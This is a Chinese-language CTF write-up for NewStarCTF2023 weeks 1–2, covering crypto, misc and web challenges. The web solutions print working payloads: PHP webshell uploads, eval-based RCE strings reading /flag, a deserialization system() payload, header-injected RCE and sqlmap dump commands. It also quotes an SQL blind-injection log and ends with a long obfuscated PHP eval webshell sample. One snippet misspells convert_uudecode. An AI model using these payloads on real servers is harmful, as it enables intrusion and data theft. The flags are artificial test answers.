NewStarCTF2023

Week1

Crypto

brainfuck

附件

++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.
a=input()

def brainfuck(a):
    li = [0]
    index = 0
    kuo = []
    output = []
    i = 0
    while i < len(a):
        if a[i] == '+' or a[i] == '-':
            li[index] = eval(str(li[index]) + a[i] + '1')
        elif a[i] == '>':
            index += 1
            if len(li) <= index:
                li.append(0)
        elif a[i] == '<':
            index -= 1
        elif a[i] == '.':
            print(li[index], end=' ')
            output.append(li[index])
        elif a[i] == ',':
            i += 1
            li[index] = ord(a[i])
        elif a[i] == '[':
            if li[index] == 0:
                while a[i] != ']':
                    i += 1
                i += 1
            else:
                kuo.append(i)
        elif a[i] == ']':
            if li[index] != 0:
                i = kuo.pop()-1
            else:
                temp = kuo.pop()
        i += 1
    return output

output = brainfuck(a)
for i in output:
    print(chr(i), end='')
flag{Oiiaioooooiai#b7c0b1866fe58e12}

Caesar’s Secert

kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}
flag{ca3s4r's_c1pher_i5_v4ry_3azy}

Fence

fa{ereigtepanet6680}lgrodrn_h_litx#8fc3
flag{reordering_the_plaintext#686f8c03}

Vigenère

pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}

大厨一个个试过去对应pqc->fla

flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}

babyencoding

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

part 1 base64 ：flag{dazzling_encoding#4e0ad4
part 2 base32：f0ca08d1e1d0f10c0c7afe422fea7
part 3 uuencode：c55192c992036ef623372601ff3a}

convert_uudecode函数解密

<?php
$str = "=8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`";
echo convert_undecode($str);
?>

flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}

Misc

CyberChef’s Secret

来签到吧！下面这个就是flag，不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=

大厨flag{Base_15_S0_Easy_^_^}

机密图片

小宝最近学会了隐写术，并且在图片中藏了一些秘密，你能发现他的秘密吗？

steg，RGB000

flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}

流量！鲨鱼！

导出对象http一个个找

Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=
flag{Wri35h4rk_1s_u53ful_b72a609537e6}

压缩包们

拖进去发现是一个zip，提取出来

发现是加密的，经过尝试不是伪加密，发现

SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==

解密说要6位数字密码

爆破密码232311

flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}

空白格

Whitelips the Esoteric Language IDE

隐秘的眼睛

silenteye

Web

泄漏的秘密

粗心的网站管理员总会泄漏一些敏感信息在Web根目录下

使用dirmap扫描，得到www.zip

下载得到index.php和robots.txt

robots.txt：
PART ONE: flag{r0bots_1s_s0_us3ful

index.php：
<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息，请你找出他泄漏的两个敏感信息！</h1>"

Begin of Upload

普通的上传啦，平平淡淡才是真

抓包，1.jpg改成1.php

蚁剑连接

ErrorFlask

页面提示

give me number1 and number2,i will help you to add

?number1=1&number2=3

回显 not ssti,flag in source code~3

?number1=a&number2=3

Begin of HTTP

请使用 GET方式 来给 ctf 参数传入任意值来通过这关

?ctf=1

很棒，如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢?如果你传入的参数值并不是我想要的secret，我也不会放你过关的或许你可以找一找我把secret藏在了哪里

检查源代码

base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk)
n3wst4rCTF2023g00000d
secret=n3wst4rCTF2023g00000d
很强，现在我需要验证你的

power 是否是ctfer 只有ctfer可以通过这关

Cookie: power=ctfer

使用 NewStarCTF2023浏览器 来通过这关!

User-Agent: NewStarCTF2023

Referer: newstarctf.com

本地用户

X-Real-IP:127.0.0.1

flag{73830fa0-1fe2-4beb-9d6b-9e5025480203}

Begin of PHP

PHP是世界上最安全的语言，真的吗？

<?php
  error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
  echo "=Level 1=<br>";
  if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
    $flag1 = True;
  }else{
    die("nope,this is level 1");
  }
}

if($flag1){
  echo "=Level 2=<br>";
  if(isset($_POST['key3'])){
    if(md5($_POST['key3']) === sha1($_POST['key3'])){
      $flag2 = True;
    }
  }else{
    die("nope,this is level 2");
  }
}

if($flag2){
  echo "=Level 3=<br>";
  if(isset($_GET['key4'])){
    if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
      $flag3 = True;
    }else{
      die("nope,this is level 3");
    }
  }
}

if($flag3){
  echo "=Level 4=<br>";
  if(isset($_GET['key5'])){
    if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
      $flag4 = True;
    }else{
      die("nope,this is level 4");
    }
  }
}

if($flag4){
  echo "=Level 5=<br>";
  extract($_POST);
  foreach($_POST as $var){
    if(preg_match("/[a-zA-Z0-9]/",$var)){
      die("nope,this is level 5");
    }
  }
  if($flag5){
    echo file_get_contents("/flag");
  }else{
    die("nope,this is level 5");
  }
} 

数组绕过强比较POST：payload：key3[]=1

strcmp($_GET['key4'],file_get_contents("/flag")) == 0中file_get_contents("/flag")的值是字符串

这里strcmp有一个bug就是如果比较的是数组的话，直接返回一个0。

payload：key4[]=1

!is_numeric($_GET['key5']) && $_GET['key5'] > 2023

is_numeric函数对于空字符%00，无论是%00放在前后都可以判断为非数值，而%20空格字符只能放在数值后。

payload：key5=2024%00

要求键值即=后面的值不是字母、数字

完整payload：

GET：?key1=s878926199a&key2=s155964671a&key4[]=1&key5=2024%00

POST：key3[]=*&flag5=*

R!C!E!

<?php
  highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
  $password=md5($_POST['password']);
  $code=$_POST['e_v.a.l'];
  if(substr($password,0,6)==="c4d038"){
    if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
      eval($code);
    }
  }
}

password=evcxdcczxrbdw&e[v.a.l=echo `tac /fl??`;

tac换成sort也行

EasyLogin

注册登录进去是一个chat对话框没用

ctrl+d退出对话框，翻遍Linux啥都没

按方向上键查询历史记录，得到密码是弱密码

试出来密码是000000

再登陆终端，提示试用burp

admin登录抓包

发现/passport的302跳转

Week2

Web

游戏高手

打开发现要玩游戏超过十万分

搜索alter，发现没有flag

查看app.js，把分数改成10

抓包

score修改大于100000，得到flag

include O。O

<?php
  highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
  @include($file);
}else{
  die("nope");
}
?> 

猜测题目对flag进行了base/rot过滤

payload：?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

flag{80aa7b2f-6f0e-46bb-8233-3046e5a8a11a}

ez_sql

sqlmap一把梭

python sqlmap.py -u "url?id=TMP0919" --dbs --batch
python sqlmap.py -u "url/?id=TMP0919"  -D ctf --tables --batch
python sqlmap.py -u "url/?id=TMP0919" -D ctf -T here_is_flag --columns --batch
python sqlmap.py -u "url/?id=TMP0919"  -D ctf -T here_is_flag -C flag --dump --batch
flag{a08ce636-0f3d-49f9-a6ef-be72d058bec2}

Unserialize

<?php
  highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
  private $cmd;

  public function __destruct()
  {
    if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
      @system($this->cmd);
    }
  }
}

@unserialize($_POST['unser']);
?>

使用POST提交unser，进行反序列化，cmd的值不含cat、tac、more、tail、base的大小写变形，就执行system($this->cmd)命令

先ls /

payload：unser=O:4:"evil":1:{s:3:"cmd";s:4:"ls /";}

回显中有 th1s_1s_fffflllll4444aaaggggg

unser=O:4:"evil":1:{s:3:"cmd";s:35:"sort /th1s_1s_fffflllll4444aaaggggg";}
flag{d2195283-49ad-403d-9ec7-fbf8d9440fa1}

Upload again!

.htaccess解析

<FilesMatch "3.png">
SetHandler application/x-httpd-php
</FilesMatch>

然后上传3.png内容是

<script language="php">eval($_POST['password']);</script>

蚁剑连接即可

flag{76577f9b-fda7-4362-a0f2-0a21e9f6c435}

R!!C!!E!!

dirmap扫描发现

/.git/config 、index.php、index.php/login

发现后面两个没用

githacker扫描一下

bo0g1pop.php内容：

<?php
  highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
  if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
    eval($_GET['star']);
  }
}

PHP的无参数RCE - 先知社区 (aliyun.com)

参考这篇博客

getallheaders() 在最后加的话用bp打好像并不是最后一个，试了好多种别的办法无果，但是 next() 后是ua头，直接改ua

利用 payload: system(next(getallheaders()));

在根目录下有flag

Misc

永不消逝的电波

在线morse解密

1-序章

给了一个SQL盲注的日志，注入正确后会进入下一位的注入，例如

172.17.0.1 - - [20/Aug/2023:00:08:44 +0800] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),7,1))=110,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"172.17.0.1 - - [20/Aug/2023:00:08:47 +0800] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),8,1))=40,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"

# coding:utf-8
import re
import urllib 
f = open('access.log','r')
lines = f.readlines()
datas = []
for line in lines:    
    t = urllib.unquote(line)     
    datas.append(t) 
flag_ascii = {}  
for data in datas:    
	matchObj = re.search( r'user\),(.*?),1\)\)=(.*?),sleep', data)    
    if matchObj:        
        key = int(matchObj.group(1))        
        value = int(matchObj.group(2))        
        flag_ascii[key] = value        
flag = ''
for value in flag_ascii.values():    
    flag += chr(value)    
print flag

新建Word文档

新佛曰：毘諸隸僧降吽諸陀摩隸僧缽薩願毘耨咤陀願羅咤喃修願宣亦宣寂叻寂阿是吽阿塞尊劫毘般毘所聞降毘咒塞尊薩咒毘所若降般斯毘嚴毘嚴波斯迦毘色毘波嚴毘喃念若修嘚般毘我毘如毘如囑囑

搜索在线解密

flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}

base！

给了一个base.txt

里面是好多行的base64

猜测是base64隐写

iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8

base58解得

flag{b4se_1s_4_g0od_c0d3}

jvav

java盲水印

https://github.com/ww23/BlindWatermark

java -jar BlindWatermark-v0.0.3.jar decode -c challenge.png 1.png

WebShell的利用

<?php
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('Z<SRA>2NS9I5?96)T,3,U<&)N:7)R9H]U:'%E<&)D<ONS9I5?96)T,3,U;ILS
Z<P8G7J%E<&)D<O@T2T=X1GNK4OZ:>#5'0QNK,4-Z>#)8241S6SDX24-03&-'
Z=I(F6$R6-493,4R"=T!L14=W>RN(1#N',#5'0QNK,4-Z>#)8241S6SDX24(C
Z>5V(:S-A0H-.-$5Z<5N72$@K5J9L4Q-2.4L)45=(0GRG:G4C-5R!4PRA0T<G
Z=G%&<&V(2#5965%$9GVJ-'=81J1Y05%31G%L05)*458C64=.;5=I,&%0>6(L
Z1Q9H5$%I149!=P`C0Q=:9Q%35T9#241H1H%2,$-)<"Z(>#1O6Q9!0R=Y:T=!
Z1T!W2$@H65R11&=*=F1J6$=G;$%14G=!>4%22R%6,%N26RN*=F0D279G-QNY
Z,4]:4T1T678C>$%)8PN!2#0F6T9%3Q9Z25N"2&UC2$8C;%RJ15V81G0D0G9G
Z:Q4D5H5">'`C1&CC,4NI4P!(4H=/6R-$.$5W8IL#2'!L5J=W>QRI=&D6;4@H
Z07=(>5=1>55)>&)T5IGC-%V(8SZ*1GKD5G=::G5Y25V:44NP6'=$,4)26P)!
Z43!U0SH(.49&:TV71GKX079H6R!L8SZ(1JR6049$>49'4P!"1R(L2%1/45V3
Z4PR"=JR%5G=:,4R1>'=:=G1X1R%35R='5S974#!P0H!7;RN1-'=:2#@E2$=K
Z=5V35PR*1I-(0G926$VJ4GN627!Y5H)/5Q%J249:1H)M0G9O.45J4HN!=Q0L
Z16HS>%='4P!%;3!H0J=$>5VJ5G971GDS5G@G;$%L5G)8=F%46R)$;$%Z>559
Z25-"2Q1P;RR117%"=G5(6QR$,Q%Z=5%#=Q1L6$=H1$=I4SD6;4]407R$-5='
Z045"26)Y04@G=RVI34R$;59K0R):-H=)5HN:1GR*0R%355V21&V%;7R54'RO
Z-QN'15)!2'0D5T<G84D26SZ7>$%165%%0Q9'14161T0C1R$C:4%L5S=74#1K
Z04RC-$9(:T=:=T!H1H%)6$-)<"Z(25=70G9-4Q%J9P!$4T182T=.,G-&="Z!
Z1F!X0J=(,5N'-'V8240D1QND45R&24V8475'2T9O:G4C9H)!2'`L0T=P54%)
Z>&D!24CI05%%0QN13&%#1Q1S05!K;$%L3S-61&-A05%:=4R'3G=&4'1U05%K
Z>Q)L14V!;5-51P%G:Q%Z>59!>59H1H%H1GVI=&Z&>58E6R%$-5=1-#!"1T`C
Z2%!2=RV)5S)'459L6Q8K,$%)3&H0>6(C2%-6=Q-(8G971GR50G=O9Q%35SZ#
Z=T`L0T<D55V)=&Z(=QNZ04R6.5=Z24="1J`C5SD31%V2='5!;6=&1J=29H=Z
Z,#9:=Q%.14=6>$-(9RN*=F`D27=:,4N35S1:2'NT6%%/54)'5P)74GH805)D
Z0Q%J5P-627@D1R!K:4%)4TR&=H8C0Q=O:G90>4%:4T`H1ICG,$%(8P!&4P1H
Z0GR2:Q=.8IL:1GH62&GG>4-&<#!(4%)L0SH:=4913HN#1Q0X04R-6$%(<#5!
Z;5-515-:,44C3H5";$1L1H%)55N'=#R%=Q@C07R68H=19TN726(X04=(-5!L
Z8SD!1P!I6TR2:GN19G9(=H)X06D(=Q-(<#%844H%2'9$9QN&26L#1GNL5SGD
Z15V(:P)743%66Q9$.49'14=%44CJ05,C,%V1<4974#`D0G9C6$VJ3P!!1R9Y
Z079L35V114L%;3%&27NK;4%35TN";4@H1SH/1RN'8S=&43!P04NH0Q)J4H5(
Z=S)W2'9(;4%'24V:=H)M279(-G$D5P%!4'%&1IVP;RR)4G)7;5(D6$92;%=Z
Z3H)!240K16HG,$515P)(,6(F0J9$>5V'3#%71QNW2$=K85V'1&Z!=H-(6R):
Z:GNI15%"=G1L1H%)1G-'<#!6;5-94'RO:Q%35H%91Q0H6%%P2$-'8PR)4%-6
Z6QNG>5N'3'N91T@K5TRO8RVJ2#R!;4]50Q8C,$N&25N"24LH5H%%2%V'=&D)
Z43!U65)C9H=J,'9*=R)82T=35%9)=&V&=F!O65%)0R=Y,&%)=J1Y05%/4RV)
Z4G)%440D2'9,;$%33#1!47`D5IH72$)(.#9%;4510QNG8H9'5S%,4SVW25$D
Z1$%'1'R81&-A0J9-4R9'5P!$,'NW049(>5V34G):1HVM5G9::GN'4G=:44NH
Z1SHS>%=(:SH(;#`E6Q9,9G1'3P%71I(L05-685UC<#R7=G1N6QR(:Q%&25R0
Z>6(X2$9L6RV'14V61I8D64=(:GN0255">5)L2T<G,4)&4OZ!1JR66QNG>491
Z4H5)>'@L5JRO>Q-J2#1%1GH&5G9$9G%',&Z91RVH5T=32$D26RN*=H9L5Q=6
Z.4NL3&-!25VP5IH$,4)(:P)(1J5965!$>5N'6TV&44KX079H45VI2&=!=F%%
Z649G-$5Z>#-:2'%&04=/54-(.#5(1QNZ04R!;R9W8IL#245G1H%/2$-21#%!
Z24DP0G9-;RN1,45'>6)W05-6,RRJ2#R*=H8C0G96:G9M3H%!24%26SH2>4RJ
Z5PR7;4NH0SH,.5=J4HN#1H8H1R$D;R!L8S96;7@I0GR2>5RJ4P!#1GCX5H`C
Z8Q))5G)8=F%43%)$;$%Z,#99445"6SH)1HV'8SD7,#5(079(>5RZ2#!81T`D
Z2%!K,G%2<59"44KD6$N$6$VJ3G572&(D2%`C,RVJ<4L%45-&5QNS-Q%02&-!
Z4G5&5J<D5Q)26SV(1F%#0TNC-5V1-#!71I(C251/5RV(>5%%;&VK5G9G-$N0
Z4TV!4GLX1QLP;RV2<49:=I-%0G8G-$9(:P9:2'%607=6>Q4C<"Z!4#!M0H!:
Z=5N11'R82&VW2#!G-Q-'1#5:1G%61J9::GN'3GD:445&64=,>%=&=#N6;4NH
Z4'RO-G%&,#%:1GNT0T9W,$%26SH&44NI0SD$:G=14H971T@D04@G84-&0497
Z1F%%1%)::Q$D5P)"4T0L6Q=L2$=J<&D!=T5,6R%$.5N0,#%62&V82T=H1G50
Z4SZ(4%-707R%1RVJ8H5'=H(H16HK8Q-(=&-*44KE15!G.4N&,&)#4%VL0R%$
Z,$902&D7;7NK0QR30R=J5P)'4%VX13`H6Q%)055%3S-A6Q=)2RN18G181J`C
Z6SD(,Q%L4P574#0C0Q9C:G%1,'R!44511T=.,5R26S9724DX0H%$-4%Z1'=,
Z4Q1W16HL44%I14V&=G%$5Q92:GNJ>4H0>6)W06HL6RVZ24V:1H(C1H!(-HVY
Z2'V:=J%"1SHS,%='6P%)4P1I0SH%3Q914G=&4#NX2'@G84)36PR7=G1Z5QR.
Z:Q%2-59:4H)P1T=%5Q%&=%N*=F%'6$RC;%=Z>&)";41L5IH6,$RJ8PR&4'R!
Z6T=C-5N0,5574Q0D2%!(=4%0<'R7=H-727R.-GNL5S-!4T!P06HS,5N21#)7
Z47NY0SD(.4VG8IL:,'1P5Q=6,%V29SZ!>'5565!$,5V'24181T1S079H5%V2
Z8P57430D279C;59Y2#-:25-"26H6>$-(9P1!24DN6Q9-;R9',5991T0E2'9K
Z-R!L8P9%,#576Q=(>59J,55:2&VX1R!(8HV(<&=7;6VJ5Q=,-G%&,#5!4'%&
Z1IHP15='6P%&4$@H6QR2:Q913'R724LY5H`C84)33G981G1L64=,6$VJ345'
Z>'`X04@G85VY<4)"1H-(1%)S,4R35G-"4H=*1T=6=GNI4P=!4F`D6R-2-$1Y
Z:TN'=QDY04@G=RVJ15V&44R65G9(;%=)3&%#1QH26$1P;Q%16T5)1GCD6$N:
Z-491,5N94'`H6'<D1RN'=&D)43!Z049(-5N','V)=QCL17930G%J2'R81G]&
Z0GRK9R=I2&-#2&)X2Q=.,5=&.#!(>4DP4'RO,$5Y>'R!441W15%684)&:P=7
Z4$NZ6SD::H9'1#-,4Q0D1QNG,HVI1&-84#1J0Q9(-G%12&Z:4H-"16HH5Q)&
Z<#%(;$NS05-!2QRZ5P%74Q182T=2>%=&<&Z7,58G6Q9,9G1'3HN"1P`C2'=K
Z84%)3T574&VN1JRC:Q%1>&)#=GR*6SH%55N'8SZ&4GH!04NC-4)J8H5'=T`C
Z16GC-Q%114)&3S-A6QR!5QNZ-'R#1T0I2#!G8Q)Y071%1GH%0Q9W-45Z4S%:
Z,4LL06H35HN2:SV!1P`E0R%)241Z:T=(=J`L16H30Q%L4G9846-%5G9,;$%)
Z5SV0>6(X079H3%VI1#5'44H&279C:G%33#):2'@G15%,,$-&=#9%,#1W6T=(
Z,59J-#%82&VY25%X55R11&-7=G5#2T92:G9L5P)!>5-"16GG,$)'4RN*=G56
Z049K*H<C3HV!2&-&1IGH15R(8SD6;5)L6QND5R=J255"1Q0H16D(85R036L"
Z1H-&27NG,4R1,&H:=Q526T=-1Q=I8PR&47R:04R2.4%G8IL9=G5"1H%:>RR&
Z4SD!24H$04NL5R=0:P!81T0I2%!K8RV(8P%"1GCD5Q9$*G%(-&%!>45*5J=$
Z,$8D=&V!;7R605%)2Q9'5TV#1R(L179(>5!L8P)!47R5649$,4VJ-'=91I)Y
Z5ID(>RV11#R9;4@C649G:%9Z2&):25-"2T=.,$NI4P=(=JR+0R)L6R9Z5P!!
Z2'!X1R!(:5VI1&=:=H)J5G926$VJ5P!%4GLW16HK9G(D5G):1SUC049C*G%I
Z>4Z:44NT079X1QNK8SD6,59Q0GNG-$1Z3H5"1GCI16HL05UC='R61H8C5G=6
Z,Q@C=&D#=G5&1T1P;Q%)3G9!;68C1JNG:Q@C=&99=G@L1T=%5Q=I6SZ&4756
Z6QR6>$519G962&UG2&HK,Q)Z<4L&1G]52'=6*G%)5HN!4GLH5SH3540D=#%&
Z5$]14'RO-$N&>&-!2'!P0R$D5%='1&H71TNK0SD$>4VI:T="1J@C05%(=Q%L
Z05981H-6279C-$@C1#-94%UD6%%.,G)&="Z!25=A6T9:=4)14GN,4Q182T=6
Z>59(9S9%;$NY0H%(-59J1#!&,$0E5H(G>$%I14V&=G%504=C;%=I=5):=QRG
Z1&DX1QRK8PN!4SVL05%(9H=J245'>5VT2$9(:RVI3&=61&-A05)C,5=J25N#
Z4Q0D2$9K;$%L04V845-45G9::QR2-5%91GR*6Q8C=H9'<&Z&1T516T=(:HRZ
Z249)=T0X049(>4)Y34V&;4R50QNC9H=2-&V0>6(C25-,=4%2<5V*45-%1H-.
Z-GNL3&D#440H0T<D5HR&2&V%;755649$-5N18G1"1I)Y5ID(,RV1<#R!=F5%
Z05):.%9L8T5!4%VH1G=/5R9'8RN*=F`D1J=2:H<D5P1:=QH*26H6=H9(<&=(
Z1P!N6Q9:,4)J4H571GDX1T=K-Q)K<4)7;4%515%O,$%12'V!=G0L65$G>4-&
Z3#R6,#0E0SH%0Q9.8IL!4'%&1ICD55=&3&96;$@I6QND0QR13GN"27!S5H!(
Z;$%L0597=G0C1JNK:Q@C1'N">'`L6Q=%5Q)'<&Z)4Q]26R%%3Q5Z=#!91QDW
Z05%K,H!L8SZ%=QNL6Q9(8G)J8G574Q0D2%!K=Q%31&V'44H%0GNW;%=1,5N#
Z4$H25Q<D2$%&:P)(=QNK67=)0RV0:T=71GDY5JR,-%VL1#R&45-504=.6$VJ
Z14=*=T0C5G8C,HV1<4971H-&27NO-$912&%#2'1O1R%2,Q929P1(1P!O0G9,
Z9HNJ1#!&,$NX049355RJ14)7=SVM6$9:,%=)35V:4H9L5GLP;RR01#5:459M
Z15%C-G$C-5R:4H-&6SH/1Q-(8P%(4'NN05!)2QV14SH,4T0E2$9(8HV12#%7
Z1G%'64N2,QN',&-:>5="6Q=H55V'=&Z&>Q]14'RO,Q@C1&)94H)L1H%%1$%'
Z<#!6;4]16R-2-41Z8H571H)S5F%6=4%11#%:1H-(0G8G9Q%)5SD!>5UH06H6
Z,$53=&V&4$NK64=$>4VJ4S%#1SV82T=%15V)<&Z!>'5:05%$>49'4P!)=QCL
Z16D(>$%)4P5:=I-51JNO*G%2=&V#=GDP26H.,Q92:P)(>4HA6T=%2Q)J4H98
Z4RVX1R!28RR(=4V*1&-A6T9D2Q)J,5N71R9X2#!H1HR02#R7;4H$5G9K,$N1
Z4H=:4G%65G=!14)'4P!%;3!M05!!0QV15S%$4T`G05!K;4%L3G9!;3%56QRO
Z,4N)5SN0>6(I2$9(;%R'2#5"=G566$R.:GR1,'R!25)L5J<C>4=I8PR%=QNN
Z079%1Q1Z9TR#26(X5J9K=Q)Z1&Z'44R71R%,9R=35HN"4G]&5J=$84NI4RN*
Z=GH(0GN:9G%(-&V944@D06H%15V21&D71R)O0G=$>5V1:S%(=J`L1R`C,HVJ
Z<499=P%51JNW,4NY,'5!4G1H2%%.,Q936S9!2#1Y6Q9:8G%W8IL!47%"2Q=/
Z1G50=&N!4GH50R)L6Q)I:S%:24KD2$<C,RR024V:=JR'2T92*H=Z2#%!=GNH
Z5H!W,4RI<&D!45(G6QR$:GNZ3P-"2'0D5GR,;%!L8P1(44@F05%::Q515P-"
Z2%UJ04=L35VI6S="=H8D6496;$%K=#)#=Q1T6%%L1%V&4SD!4Q5"07R2-5R'
Z9G9"1T!S04=K-5V)1&V%1H9N0QNS6$VI,4962&UG2%%K>5R06P%!;4H%0G9G
Z*G%'>5N944@D0T=6>QRL=&Z(=R)O0R)H2RN1:TV#1J`J07R-6$%)4PR94#%5
Z5G9,9R9Z2'5!4'!L5J1P;RV(>59(45(D0G9C,QN02'V!4$5.1R%-14NJ5P9(
Z1JNX6SDD1Q%Z5P!'4J@D1R1/44)11&-:;4%50Q=G:G5Z4HV!=G0L65%,>$RK
Z8SH!44NN4'RO*H<E3GD:445.16HG,4RL>#N!4'NI6QNG9HN14TR825VS05-6
Z;4%(<&=6=G560G9O:GR1,#)#2'%"1Q=%1$-&4P!%>Q]207R69HVI,'N:27N8
Z2T=P2$=I<#R(2$5-6R%%3Q5Z,49)>&)X04R,>Q%1149!=GR50Q9G-H=',&-:
Z;$DL5SH314915P)745-$0P%2>5V'34N!1TNX13!!4Q%I14)"=&-A64=$-5V&
Z:P%'=J@C5F)/5Q%I<#N%45-&1J9C.5=K1&-!45VH2T=.,$)&=&=!2#1N65!D
Z2RN',45$,&VX06HK;5V2<'R&=H9N2'=G:G4D,'V0>6)W13%764))5PR&1H9M
Z649:;%=I>4D:>5(L679W,4-&3&N6;%)O0J=%4QN11&%(>#NS5H%)34-I<496
Z1G0C6QRC:G%&2#)"441P5J=P1$-'<%N*=G1K1JRO,Q@C1#9">'0H5IH2=HR&
Z:P!(1G]26QR30Q5Y:H9)>'NX5J8C-$%06SZ&=G]%0Q9G9G5Y2&Z:=QHA0T=%
Z5RR&5SZ!>'5604R28H=G8IL#4%VL6%%S>$=L6SV!1P!H6TR31QVJ24171J`C
Z2$=2-%VL1#R:=F1L0G9,.%=L8P-944@G16H-14)&:P5%;5)N6P!H0R9J4G1,
Z4RVY5IGD65!L8P1!4$NP6P%$,4%Z1'V)>#1X1TR744)L4TR:1F1M6$9:.44D
Z5S1!>4%65G=(,4=I<#1(,6)M05)D5R9'3P!'>%VT05!L6$)2=#%7;3%(3%):
Z6$VJ4P)%,%VT2$9(:HV'1&-7=G%'64N2,QN)5T5!25-"2T8C84NI6SZ)44]7
Z6T9:=45Z=45827NW06H2>5V(<5971G]%0QRC9G%126L!4HVL0T1P;RR115V'
Z44KE1R%:,492-&D">4%*5Q=31$D22&V(=QNP6T=$:GVJ8GN#1T0L1TV/6RV'
Z359:;4]%5GNW,$5Z>#1!44DT5G=)54)&:P=74$NP4'RO,4@D3&V#=GDO2R%.
Z,G)(=&H724H76Q9:,5=Z1#!&4$DY06HL44)K<'R:;5VJ6$=O;%<C3H5:1GNL
Z65!W>%R&3#R6;7NL65!::GRZ34N#1T182T9W,4)(8S=6;$@G6T9-2QV'5P%7
Z270D04R6:HV&3&=!;3%5049:;$R1>&D">'`H1H%)1%N&4OZ!1P!I6Q=-545Y
Z:TN81T`C2'@G9$-(<#%!=&-A6R%$-49Y8H9#4RVZ1R-,=5VI3&=7=H-713!G
Z:G%)5S)"4G%207=S,5N(:P)(2#5204R6.49J5P%!1R9X2$=/5RV'35)8470D
Z2'=.;4%K:T90>6)X1R`C>RVJ<4)%;&UC2'=29R=K=#9#25(D6T=-2$-&,&Z(
Z1F%70R-/1R=J1#-(=I)W05-6;%RJ1'R%;7571H%K.45Z2'9:2'1L0T<H1QNI
Z3%N*=G5'15!2;$%2='N:445"1H%)1Q-'3P9(4%(G6QR$:Q9'5TR62&8G2'R,
Z8Q)33TR6=H-51#!$,4N'>'N8>'!L6%`C>R=&4OZ!44NQ04NO.5=.8IL94$0G
Z15$C>QRI4P=!,58E6R%(>5N'5G5"1T`D25-,=HV)5S)'45(F0Q9G*G%&4HV"
Z4GLP5Q=$,GNJ2#)!47NK65%%2Q9I,&%#1JNX1Q9L35!L8P%&2$1O0JR72RV'
Z4T=(=J@J05)/44%J1#5%;6)L0QRO;%=I>#9:=GNT5T=72$-&-&974P5705-.
Z.5N1,5N(=S9W2'9L6Q%L5P5*=GR$5Q926$VJ5S%6271X2'928Q)J24V&1H)M
Z0G=O.490>5N!2'`H6T=,>$RK8P%(4%)L05)D6QRZ4P)&4S8H16DH4Q%(<&-"
Z=H-'24N::Q%1>5%8>'!L1Q1P;Q-J16L"=G0C1JR$:Q%Z>4D:25-"1SHH1G51
Z3&9!1JR%6R)D0Q5Y,'N:26)Z1R%(=RV(<5%&1H(E1R)W:Q%)25%#1T%&07=3
Z5Q)26P%%;3`E4'RO9QN(3H%#1QH25SGD54%&3&Z)45-$0P%2>5N'055"1R(J
Z07=H45V(8G)%;6-%1%):.5=J>#5#2'%.1H%32$-&2#%(1F%707R!;R=J1#-!
Z1GD82T=-14NJ3"Z744NX0QNC-4%J5TV)2'!Y5JNH65R34S-*=IUC1H!,:G4D
